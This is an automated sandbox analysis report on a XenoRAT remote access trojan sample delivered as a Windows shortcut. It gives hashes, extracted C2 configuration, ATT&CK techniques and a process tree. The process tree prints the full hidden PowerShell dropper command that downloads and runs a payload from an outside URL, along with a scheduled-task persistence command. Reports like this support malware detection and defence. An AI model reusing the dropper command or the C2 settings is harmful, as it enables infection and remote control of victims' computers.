xenorat | 2ebd9ab34d58f221ce2034b9f43ad8b128fbc683dab962fbf6222b4eef2a3618

Analysis

max time kernel
142s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
03/05/2024, 12:32

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General

Target

Odeme -(Mayis).lnk
Size

2KB
MD5

2ad899ef7b0d361186d8487950b7e167
SHA1

151d04d656e68152cc2116b0837331a7df30eb27
SHA256

2ebd9ab34d58f221ce2034b9f43ad8b128fbc683dab962fbf6222b4eef2a3618
SHA512

2a84054d0f22a042eb2390dba4831eea02700334531e09a3e4ce3b7ca0db71d12ea7d0de30b19280ac0fe746002f4fc96a4904832c81b3dac6647c4a9a50b39b

Score

10^/10

xenorat execution rat trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.dobiamfollollc.online/konzjrngodznhitsthjfxjydtjytddy/uiuGJRSgfzjzdgzdghstRgsgtesht/cfhfcg.pif

Extracted

Family

xenorat

dns.requimacofradian.site

Mutex

Xeno_rat_nd8818g

Attributes

delay
60000
install_path
appdata
port
1243
startup_name
uic

Signatures

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	380	PoWeRShElL.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
380	PoWeRShElL.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000\Control Panel\International\Geo\Nation	screenbiwus.pif

Executes dropped EXE 8 IoCs

pid	Process
4776	screenbiwus.pif
4072	screenbiwus.pif
1032	screenbiwus.pif
4484	screenbiwus.pif
2500	screenbiwus.pif
3552	screenbiwus.pif
1304	screenbiwus.pif
4488	screenbiwus.pif

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 4776 set thread context of 4072	4776	screenbiwus.pif	90
PID 4776 set thread context of 1032	4776	screenbiwus.pif	91
PID 4776 set thread context of 4484	4776	screenbiwus.pif	93
PID 2500 set thread context of 3552	2500	screenbiwus.pif	99
PID 2500 set thread context of 1304	2500	screenbiwus.pif	100
PID 2500 set thread context of 4488	2500	screenbiwus.pif	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4556	4072	WerFault.exe	90
4912	4488	WerFault.exe	101

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4484	schtasks.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\Local Settings	PoWeRShElL.exe
Key created	\REGISTRY\USER\S-1-5-21-877519540-908060166-1852957295-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
380	PoWeRShElL.exe
380	PoWeRShElL.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	380	PoWeRShElL.exe
Token: SeDebugPrivilege	4776	screenbiwus.pif
Token: SeDebugPrivilege	2500	screenbiwus.pif

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3328	OpenWith.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 4892 wrote to memory of 380	4892	cmd.exe	84
PID 4892 wrote to memory of 380	4892	cmd.exe	84
PID 380 wrote to memory of 4776	380	PoWeRShElL.exe	89
PID 380 wrote to memory of 4776	380	PoWeRShElL.exe	89
PID 380 wrote to memory of 4776	380	PoWeRShElL.exe	89
PID 4776 wrote to memory of 4072	4776	screenbiwus.pif	90
PID 4776 wrote to memory of 4072	4776	screenbiwus.pif	90
PID 4776 wrote to memory of 4072	4776	screenbiwus.pif	90
PID 4776 wrote to memory of 4072	4776	screenbiwus.pif	90
PID 4776 wrote to memory of 4072	4776	screenbiwus.pif	90
PID 4776 wrote to memory of 4072	4776	screenbiwus.pif	90
PID 4776 wrote to memory of 4072	4776	screenbiwus.pif	90
PID 4776 wrote to memory of 4072	4776	screenbiwus.pif	90
PID 4776 wrote to memory of 1032	4776	screenbiwus.pif	91
PID 4776 wrote to memory of 1032	4776	screenbiwus.pif	91
PID 4776 wrote to memory of 1032	4776	screenbiwus.pif	91
PID 4776 wrote to memory of 1032	4776	screenbiwus.pif	91
PID 4776 wrote to memory of 1032	4776	screenbiwus.pif	91
PID 4776 wrote to memory of 1032	4776	screenbiwus.pif	91
PID 4776 wrote to memory of 1032	4776	screenbiwus.pif	91
PID 4776 wrote to memory of 1032	4776	screenbiwus.pif	91
PID 4776 wrote to memory of 4484	4776	screenbiwus.pif	93
PID 4776 wrote to memory of 4484	4776	screenbiwus.pif	93
PID 4776 wrote to memory of 4484	4776	screenbiwus.pif	93
PID 4776 wrote to memory of 4484	4776	screenbiwus.pif	93
PID 4776 wrote to memory of 4484	4776	screenbiwus.pif	93
PID 4776 wrote to memory of 4484	4776	screenbiwus.pif	93
PID 4776 wrote to memory of 4484	4776	screenbiwus.pif	93
PID 4776 wrote to memory of 4484	4776	screenbiwus.pif	93
PID 4484 wrote to memory of 2500	4484	screenbiwus.pif	98
PID 4484 wrote to memory of 2500	4484	screenbiwus.pif	98
PID 4484 wrote to memory of 2500	4484	screenbiwus.pif	98
PID 2500 wrote to memory of 3552	2500	screenbiwus.pif	99
PID 2500 wrote to memory of 3552	2500	screenbiwus.pif	99
PID 2500 wrote to memory of 3552	2500	screenbiwus.pif	99
PID 2500 wrote to memory of 3552	2500	screenbiwus.pif	99
PID 2500 wrote to memory of 3552	2500	screenbiwus.pif	99
PID 2500 wrote to memory of 3552	2500	screenbiwus.pif	99
PID 2500 wrote to memory of 3552	2500	screenbiwus.pif	99
PID 2500 wrote to memory of 3552	2500	screenbiwus.pif	99
PID 2500 wrote to memory of 1304	2500	screenbiwus.pif	100
PID 2500 wrote to memory of 1304	2500	screenbiwus.pif	100
PID 2500 wrote to memory of 1304	2500	screenbiwus.pif	100
PID 2500 wrote to memory of 1304	2500	screenbiwus.pif	100
PID 2500 wrote to memory of 1304	2500	screenbiwus.pif	100
PID 2500 wrote to memory of 1304	2500	screenbiwus.pif	100
PID 2500 wrote to memory of 1304	2500	screenbiwus.pif	100
PID 2500 wrote to memory of 1304	2500	screenbiwus.pif	100
PID 2500 wrote to memory of 4488	2500	screenbiwus.pif	101
PID 2500 wrote to memory of 4488	2500	screenbiwus.pif	101
PID 2500 wrote to memory of 4488	2500	screenbiwus.pif	101
PID 2500 wrote to memory of 4488	2500	screenbiwus.pif	101
PID 2500 wrote to memory of 4488	2500	screenbiwus.pif	101
PID 2500 wrote to memory of 4488	2500	screenbiwus.pif	101
PID 2500 wrote to memory of 4488	2500	screenbiwus.pif	101
PID 2500 wrote to memory of 4488	2500	screenbiwus.pif	101
PID 1032 wrote to memory of 4484	1032	screenbiwus.pif	114
PID 1032 wrote to memory of 4484	1032	screenbiwus.pif	114
PID 1032 wrote to memory of 4484	1032	screenbiwus.pif	114

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Odeme -(Mayis).lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command srms-apr.dat;(new-object System.Net.WebClient).DownloadFile('https://www.dobiamfollollc.online/konzjrngodznhitsthjfxjydtjytddy/uiuGJRSgfzjzdgzdghstRgsgtesht/cfhfcg.pif','screenbiwus.pif');./'screenbiwus.pif';(get-item 'screenbiwus.pif').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
    "C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      4⤵
      Executes dropped EXE
      PID:4072
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4072 -s 80
        5⤵
        Program crash
        
        PID:4556
  - - C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1032
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks.exe" /Create /TN "uic" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2FA6.tmp" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4484
  - - C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4484
    - - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        "C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2500
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:3552
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:1304
      - C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        
        C:\Users\Admin\AppData\Roaming\XenoManager\screenbiwus.pif
        6⤵
        Executes dropped EXE
        
        PID:4488
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4488 -s 12
        7⤵
        Program crash
        
        PID:4912

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4072 -ip 4072
1⤵
PID:912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4488 -ip 4488
1⤵
PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\screenbiwus.pif.log

Filesize
706B

MD5
d95c58e609838928f0f49837cab7dfd2

SHA1
55e7139a1e3899195b92ed8771d1ca2c7d53c916

SHA256
0407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339

SHA512
405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0dt0sdae.5qr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\screenbiwus.pif

Filesize
243KB

MD5
beca6ece3880c98abce728f690fc6af9

SHA1
53f7cef644803c6de63008b6ac0dae0c53509760

SHA256
1e1870659de245d275192567b800859af41e84711a70754df1a7bc20ee01f79d

SHA512
52892dce5b7e9518482cec1e5e415310262897e008a87a120f02432f62d3d13ddad2a290741a6e51db790e430c43d595dfb16e8bf1fc6eddf69a9315e4be5174

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp2FA6.tmp

Filesize
1KB

MD5
86c5744348e031d55bafc55a87803993

SHA1
a6c1b3a008ed463c230cd991a4da483614b327c5

SHA256
b9fba7507a114d649f188f61f7ffa32aa3582bdbba35b1f54afaeb7472a985f1

SHA512
ea0c6ef44c952825651d8004c98e982e84eff6d7252cd83f76d8e37b33a558eb0e995ba0fa4f47ab493c32781ca31c56de135a0a9c1b487e35925bb13a383731

Download Submit
memory/380-12-0x000001D3F57C0000-0x000001D3F57E2000-memory.dmp

Filesize
136KB

Download
memory/380-13-0x00007FFDF6DD0000-0x00007FFDF7891000-memory.dmp

Filesize
10.8MB

Download
memory/380-14-0x00007FFDF6DD0000-0x00007FFDF7891000-memory.dmp

Filesize
10.8MB

Download
memory/380-23-0x00007FFDF6DD0000-0x00007FFDF7891000-memory.dmp

Filesize
10.8MB

Download
memory/380-2-0x00007FFDF6DD3000-0x00007FFDF6DD5000-memory.dmp

Filesize
8KB

Download
memory/1032-33-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4776-25-0x00000000013A0000-0x00000000013A6000-memory.dmp

Filesize
24KB

Download
memory/4776-28-0x0000000005B50000-0x00000000060F4000-memory.dmp

Filesize
5.6MB

Download
memory/4776-29-0x0000000005640000-0x00000000056D2000-memory.dmp

Filesize
584KB

Download
memory/4776-30-0x00000000054C0000-0x00000000054C6000-memory.dmp

Filesize
24KB

Download
memory/4776-26-0x0000000002BF0000-0x0000000002C30000-memory.dmp

Filesize
256KB

Download
memory/4776-27-0x0000000005500000-0x000000000559C000-memory.dmp

Filesize
624KB

Download
memory/4776-24-0x00000000009A0000-0x00000000009E6000-memory.dmp

Filesize
280KB

Download